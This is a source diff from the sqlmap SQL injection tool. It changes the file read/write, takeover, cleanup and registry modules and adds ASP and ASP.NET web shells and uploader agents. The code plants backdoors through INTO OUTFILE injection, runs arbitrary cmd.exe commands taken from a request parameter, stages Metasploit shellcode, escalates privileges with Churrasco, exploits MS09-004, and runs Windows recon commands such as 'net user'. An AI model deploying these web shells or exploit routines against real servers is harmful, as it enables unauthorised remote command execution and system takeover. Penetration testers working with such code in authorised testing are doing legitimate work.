fp = open(fileName, "rb")
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
if single == False:
if not single:
fcLength = len(fcEncodedStr)
if fcLength > 1024:
@@ -214,8 +192,7 @@ class Filesystem:
return fcEncodedList
def updateBinChunk(self, binaryData, dFile, tmpPath):
def updateBinChunk(self, binaryData, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
@@ -264,17 +241,15 @@ class Filesystem:
return chunkName
def askCheckWrittenFile(self, wFile, dFile, fileType):
message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS "
message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS "
message += "file system? [Y/n] "
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType)
def readFile(self, rFile):
fileContent = None
@@ -282,7 +257,7 @@ class Filesystem:
self.checkDbmsOs()
if kb.stackedTest == False:
if not kb.stackedTest:
debugMsg = "going to read the file with UNION query SQL "
debugMsg += "injection technique"
logger.debug(debugMsg)
@@ -295,10 +270,20 @@ class Filesystem:
fileContent = self.stackedReadFile(rFile)
if fileContent == None:
if fileContent in ( None, "" ):
self.cleanup(onlyFileTbl=True)
return
elif isinstance(fileContent, (list, tuple, set)):
newFileContent = ""
for chunk in fileContent:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
newFileContent += chunk
fileContent = newFileContent
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
fileContent = self.__unhexString(fileContent)
@@ -312,13 +297,12 @@ class Filesystem:
return rFilePath
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
stackedTest()
self.checkDbmsOs()
if kb.stackedTest == False:
if not kb.stackedTest:
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg)

View File

@@ -22,36 +22,30 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapUndefinedMethod
class Fingerprint:
"""
This class defines generic fingerprint functionalities for plugins.
"""
@staticmethod
def unescape(expression):
def unescape(expression, quote=True):
errMsg = "'unescape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
@staticmethod
def escape(expression):
errMsg = "'escape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def getFingerprint(self):
errMsg = "'getFingerprint' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def checkDbms(self):
errMsg = "'checkDbms' method must be defined "
errMsg += "into the specific DBMS plugin"

View File

@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import os
import re
from lib.core.common import readInput
from lib.core.data import conf
@@ -46,12 +44,15 @@ class Miscellaneous:
if kb.os == "Windows":
# NOTES:
#
# * MySQL runs by default as SYSTEM and the system-wide
# temporary files directory is C:\WINDOWS\Temp
# * The system-wide temporary files directory is
# C:\WINDOWS\Temp
#
# * MySQL runs by default as SYSTEM
#
# * PostgreSQL runs by default as postgres user and the
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
# however the system-wide folder is writable too
# however the system-wide folder is writable too
#
#infoMsg = "retrieving remote absolute path of temporary files "
#infoMsg += "directory"
#logger.info(infoMsg)
@@ -69,20 +70,33 @@ class Miscellaneous:
setRemoteTempPath()
def delRemoteFile(self, tempFile, doubleslash=False):
self.checkDbmsOs()
def createSupportTbl(self, tblName, tblField, tblType):
inject.goStacked("DROP TABLE %s" % tblName)
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
if kb.os == "Windows":
if doubleslash:
tempFile = tempFile.replace("/", "\\\\")
else:
tempFile = tempFile.replace("/", "\\")
cmd = "del /F /Q %s" % tempFile
else:
cmd = "rm -f %s" % tempFile
def cleanup(self, onlyFileTbl=False):
self.execCmd(cmd, forgeCmd=True)
def createSupportTbl(self, tblName, tblField, tblType):
inject.goStacked("DROP TABLE %s" % tblName)
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def cleanup(self, onlyFileTbl=False, udfDict=None):
"""
Cleanup database from sqlmap create tables and functions
"""
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return
if kb.os == "Windows":
@@ -94,32 +108,36 @@ class Miscellaneous:
else:
libtype = "shared library"
if onlyFileTbl == True:
if onlyFileTbl:
logger.debug("cleaning up the database management system")
else:
logger.info("cleaning up the database management system")
logger.debug("removing support tables")
inject.goStacked("DROP TABLE %s" % self.fileTblName)
logger.debug("removing support tables")
inject.goStacked("DROP TABLE %s" % self.fileTblName)
if onlyFileTbl == False:
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
if not onlyFileTbl:
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
if kb.dbms == "Microsoft SQL Server":
return
for udf in ( "sys_exec", "sys_eval" ):
message = "do you want to remove %s UDF? [Y/n] " % udf
if udfDict is None:
udfDict = self.sysUdfs
for udf, inpRet in udfDict.items():
message = "do you want to remove UDF '%s'? [Y/n] " % udf
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
dropStr = "DROP FUNCTION %s" % udf
if kb.dbms == "PostgreSQL":
dropStr += "(text)"
inp = ", ".join(i for i in inpRet["input"])
dropStr += "(%s)" % inp
logger.debug("removing %s UDF" % udf)
inject.goStacked(dropStr)
logger.debug("removing UDF '%s'" % udf)
inject.goStacked(dropStr)
logger.info("database management system cleanup finished")
@@ -130,5 +148,5 @@ class Miscellaneous:
warnMsg += "folder "
warnMsg += "saved on the file system can only be deleted "
warnMsg += "manually"
warnMsg += "manually"
logger.warn(warnMsg)

View File

@@ -22,14 +22,16 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
from lib.core.common import getDirectories
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -38,13 +40,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request
from lib.takeover.abstraction import Abstraction
from lib.takeover.dep import DEP
from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry
from lib.techniques.outband.stacked import stackedTest
class Takeover(Abstraction, DEP, Metasploit, Registry):
class Takeover(Abstraction, Metasploit, Registry):
"""
This class defines generic OS takeover functionalities for plugins.
"""
@@ -55,17 +56,14 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
self.cmdFromChurrasco = False
Abstraction.__init__(self)
DEP.__init__(self)
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
"""
TODO: complete review of this code is needed
"""
output = None
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
if not cmd:
cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
@@ -76,99 +74,105 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
return output
def __webBackdoorOsShell(self):
"""
TODO: complete review of this code is needed
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
@todo:
* Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
infoMsg = "retrieving web application directories"
def __webBackdoorShell(self, backdoorUrl):
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
directories = getDirectories()
autoCompletion(osShell=True)
if directories:
infoMsg = "retrieved web server directories "
infoMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(infoMsg)
while True:
command = None
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
if not command:
continue
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if command.lower() in ( "x", "q", "exit", "quit" ):
break
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
self.__webBackdoorRunCmd(backdoorUrl, command)
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add("/var/www/test")
def __webBackdoorInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
self.checkDbmsOs()
backdoorUrl = None
language = None
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
directories = list(directories)
directories.sort()
uploaded = False
message = "which web application language does the web server "
message += "support?\n"
message += "[1] ASP\n"
message += "[2] PHP (default)\n"
message += "[3] JSP"
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
while True:
choice = readInput(message, default="2")
for directory in directories:
if uploaded:
if not choice or choice == "2":
language = "php"
break
elif choice == "1":
language = "asp"
break
elif choice == "3":
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
raise sqlmapUnsupportedDBMSException(errMsg)
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 3:
logger.warn("invalid value, it must be 1 or 3")
backdoorName = "backdoor.%s" % language
backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.%s" % language
uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in directories:
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/")
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
if "sqlmap backdoor uploader" not in uplPage:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
@@ -180,66 +184,48 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
logger.info(infoMsg)
# Upload the backdoor through the uploader agent
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if language == "php":
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
infoMsg = "the backdoor has been successfully uploaded on "
infoMsg += "'%s', go with your browser to " % directory
infoMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
if conf.osShell:
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"):
continue
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
elif language == "asp":
backdoorRemotePath = "%s/%s" % (directory, backdoorName)
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
backdoorContent = open(backdoorPath, "r").read()
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
autoCompletion(osShell=True)
if "permission denied" in page.lower():
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
while True:
command = None
continue
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
elif language == "jsp":
pass
if not command:
continue
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
if command.lower() in ( "x", "q", "exit", "quit" ):
break
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % directory
infoMsg += "to '%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
self.__webBackdoorRunCmd(backdoorUrl, command)
break
return backdoorUrl
def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the "
@@ -249,76 +235,103 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
output = readInput(msg, default="Y")
if not output or output[0] in ( "y", "Y" ):
# TODO: add also compiled/packed Churrasco for Windows 2008
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
self.cmdFromChurrasco = True
# NOTE: no need to handle DEP for Churrasco executable because
# it spawns a new process as the SYSTEM user token to execute
# the executable passed as argument
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
return True
else:
return False
def osCmd(self):
stackedTest()
if kb.stackedTest == False:
return
self.initEnv()
self.runCmd(conf.osCmd)
def osShell(self):
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
self.__webBackdoorOsShell()
backdoorUrl = self.__webBackdoorInit()
if backdoorUrl:
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
else:
self.initEnv()
self.runCmd(conf.osCmd)
def osShell(self):
stackedTest()
if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
backdoorUrl = self.__webBackdoorInit()
if backdoorUrl:
self.__webBackdoorShell(backdoorUrl)
else:
self.initEnv()
self.absOsShell()
def osPwn(self):
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return
self.initEnv()
self.getRemoteTempPath()
self.createMsfPayloadStager()
self.uploadMsfPayloadStager()
if kb.os == "Windows":
# NOTE: no need to add an exception to DEP for the payload
# stager because it already sets the memory to +rwx before
# copying the shellcode into that memory page
#self.handleDep(self.exeFilePathRemote)
goUdf = False
if conf.privEsc and kb.dbms == "MySQL":
if kb.dbms in ( "MySQL", "PostgreSQL" ):
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Stand-alone payload stager (file system way)"
while True:
choice = readInput(msg, default=1)
if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
choice = int(choice)
break
elif isinstance(choice, int) and choice in ( 1, 2 ):
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if goUdf:
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
else:
self.createMsfPayloadStager()
self.uploadMsfPayloadStager()
if kb.os == "Windows" and conf.privEsc:
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif conf.privEsc and kb.dbms == "PostgreSQL":
elif kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL on Windows runs as postgres "
warnMsg += "user which has no Windows Impersonation "
warnMsg += "Tokens: it is unlikely that the privilege "
warnMsg += "escalation will be successful"
logger.warn(warnMsg)
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
warnMsg += "runs as Network Service which has no Windows "
warnMsg += "Impersonation Tokens within all threads, this "
@@ -328,7 +341,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
uploaded = self.uploadChurrasco()
if uploaded == False:
if not uploaded:
warnMsg = "beware that the privilege escalation "
warnMsg += "might not work"
logger.warn(warnMsg)
@@ -338,8 +351,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
# system is not Windows
conf.privEsc = False
self.pwn()
self.pwn(goUdf)
def osSmb(self):
stackedTest()
@@ -350,14 +362,14 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows: it is not possible to perform the SMB "
errMsg += "relay attack"
raise sqlmapUnsupportedDBMSException, errMsg
raise sqlmapUnsupportedDBMSException(errMsg)
if kb.stackedTest == False:
if not kb.stackedTest:
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported"
raise sqlmapUnsupportedDBMSException, errMsg
raise sqlmapUnsupportedDBMSException(errMsg)
elif kb.dbms == "MySQL":
debugMsg = "since stacked queries are not supported, "
@@ -388,16 +400,15 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
else:
printWarn = False
if printWarn == True:
if printWarn:
logger.warn(warnMsg)
self.smb()
def osBof(self):
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
@@ -405,18 +416,137 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)"
raise sqlmapUnsupportedDBMSException, errMsg
raise sqlmapUnsupportedDBMSException(errMsg)
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg)
# NOTE: only needed to handle DEP
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode()
self.overflowBypassDEP()
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof()
self.delException()
def __regInit(self):
stackedTest()
if not kb.stackedTest:
return
self.checkDbmsOs()
if kb.os != "Windows":
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows"
raise sqlmapUnsupportedDBMSException(errMsg)
self.initEnv()
self.getRemoteTempPath()
def regRead(self):
self.__regInit()
if not conf.regKey:
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
msg = "which registry key do you want to read? [%s] " % default
regKey = readInput(msg, default=default)
else:
regKey = conf.regKey
if not conf.regVal:
default = "ProductName"
msg = "which registry key value do you want to read? [%s] " % default
regVal = readInput(msg, default=default)
else:
regVal = conf.regVal
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
logger.info(infoMsg)
return self.readRegKey(regKey, regVal, False)
def regAdd(self):
self.__regInit()
errMsg = "missing mandatory option"
if not conf.regKey:
msg = "which registry key do you want to write? "
regKey = readInput(msg)
if not regKey:
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
if not conf.regVal:
msg = "which registry key value do you want to write? "
regVal = readInput(msg)
if not regVal:
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
if not conf.regData:
msg = "which registry key value data do you want to write? "
regData = readInput(msg)
if not regData:
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regData = conf.regData
if not conf.regType:
default = "REG_SZ"
msg = "which registry key value data-type is it? "
msg += "[%s] " % default
regType = readInput(msg, default=default)
else:
regType = conf.regType
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
infoMsg += "with data '%s'. " % regData
infoMsg += "This will work only if the user running the database "
infoMsg += "process has privileges to modify the Windows registry."
logger.info(infoMsg)
self.addRegKey(regKey, regVal, regType, regData)
def regDel(self):
self.__regInit()
errMsg = "missing mandatory option"
if not conf.regKey:
msg = "which registry key do you want to delete? "
regKey = readInput(msg)
if not regKey:
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
if not conf.regVal:
msg = "which registry key value do you want to delete? "
regVal = readInput(msg)
if not regVal:
raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
message = "are you sure that you want to delete the Windows "
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
output = readInput(message, default="N")
if output and output[0] not in ( "Y", "y" ):
return
infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
infoMsg += "This will work only if the user running the database "
infoMsg += "process has privileges to modify the Windows registry."
logger.info(infoMsg)
self.delRegKey(regKey, regVal)

44
shell/backdoor.asp Normal file
View File

@@ -0,0 +1,44 @@
<!--
ASP_KIT
cmd.asp = Command Execution
by: Maceo
modified: 25/06/2003
-->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = request("cmd")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName()
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>

42
shell/backdoor.aspx Normal file
View File

@@ -0,0 +1,42 @@
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!-- http://michaeldaw.org 04/2007 -->

View File

@@ -98,7 +98,7 @@ if (isset($_REQUEST["sysinfo"])) {
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
echo "</pre><b>Server uptime</b><br><pre>";
echo ex("uptime");
echo (!$win) ? ex("uptime") : ex("net statistics server");
echo "</pre><b>Server time</b><br><pre>";
echo date("D, M d, h:iA");
echo "</pre><b>Disk space</b><br><pre>";
@@ -118,12 +118,13 @@ if (isset($_REQUEST["sysinfo"])) {
echo "</pre><b>Memory information</b><br><pre>";
echo ex("cat /proc/meminfo");
echo "</pre><b>Open ports and active connections</b><br><pre>";
echo ex("netstat -nat");
echo "</pre><b>Network devices</b><br><pre>";
echo ex("/sbin/ifconfig -a");
echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
echo "</pre><b>Network devices</b><br><pre>";
echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
echo "</pre><b>Processes</b><br><pre>";
echo ex("ps auxfww");
echo (!$win) ? ex("ps auxfww") : ex("tasklist");
echo "</pre>";
echo ($win) ? "<b>Network use</b><br><pre>".ex("net use")."</pre><b>Network share</b><br><pre>".ex("net share")."</pre><b>Network user</b><br><pre>".ex("net user")."</pre>" : "";
}
else if(isset($_REQUEST["phpinfo"])) {

View File

@@ -1 +1,2 @@
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
<p><b>sqlmap backdoor uploader</b></p>
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>

23
shell/uploader.aspx Normal file
View File

@@ -0,0 +1,23 @@
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>WebForm1</title>
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
<meta name=vs_defaultClientScript content="JavaScript">
<meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
</HEAD>
<body MS_POSITIONING="GridLayout">
<form id="Form1" enctype="multipart/form-data" method="post" runat="server">
<INPUT type=file id=File1 name=File1 runat="server" >
<br>
<input type="submit" id="Submit1" value="Upload" runat="server" NAME="Submit1">
</form>
</body>
</HTML>

41
shell/uploader.aspx.vb Normal file
View File

@@ -0,0 +1,41 @@
Public Class WebForm1
Inherits System.Web.UI.Page
Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile
Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton
#Region " Web Form Designer Generated Code "
'This call is required by the Web Form Designer.
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
End Sub
Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
'CODEGEN: This method call is required by the Web Form Designer
'Do not modify it using the code editor.
InitializeComponent()
End Sub
#End Region
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'Put user code to initialize the page here
End Sub
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick
If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then
Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName)
Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn
Try
File1.PostedFile.SaveAs(SaveLocation)
Response.Write("The file has been uploaded.")
Catch Exc As Exception
Response.Write("Error: " & Exc.Message)
End Try
Else
Response.Write("Please select a file to upload.")
End If
End Sub
End Class

View File

@@ -32,9 +32,9 @@ data =
# HTTP Cookie header.
cookie =
# HTTP Referer header. Useful to fake the HTTP Referer header value at
# each HTTP request.
referer =
# Ignore Set-Cookie header from response
# Valid: True or False
dropSetCookie = False
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
# at each HTTP request
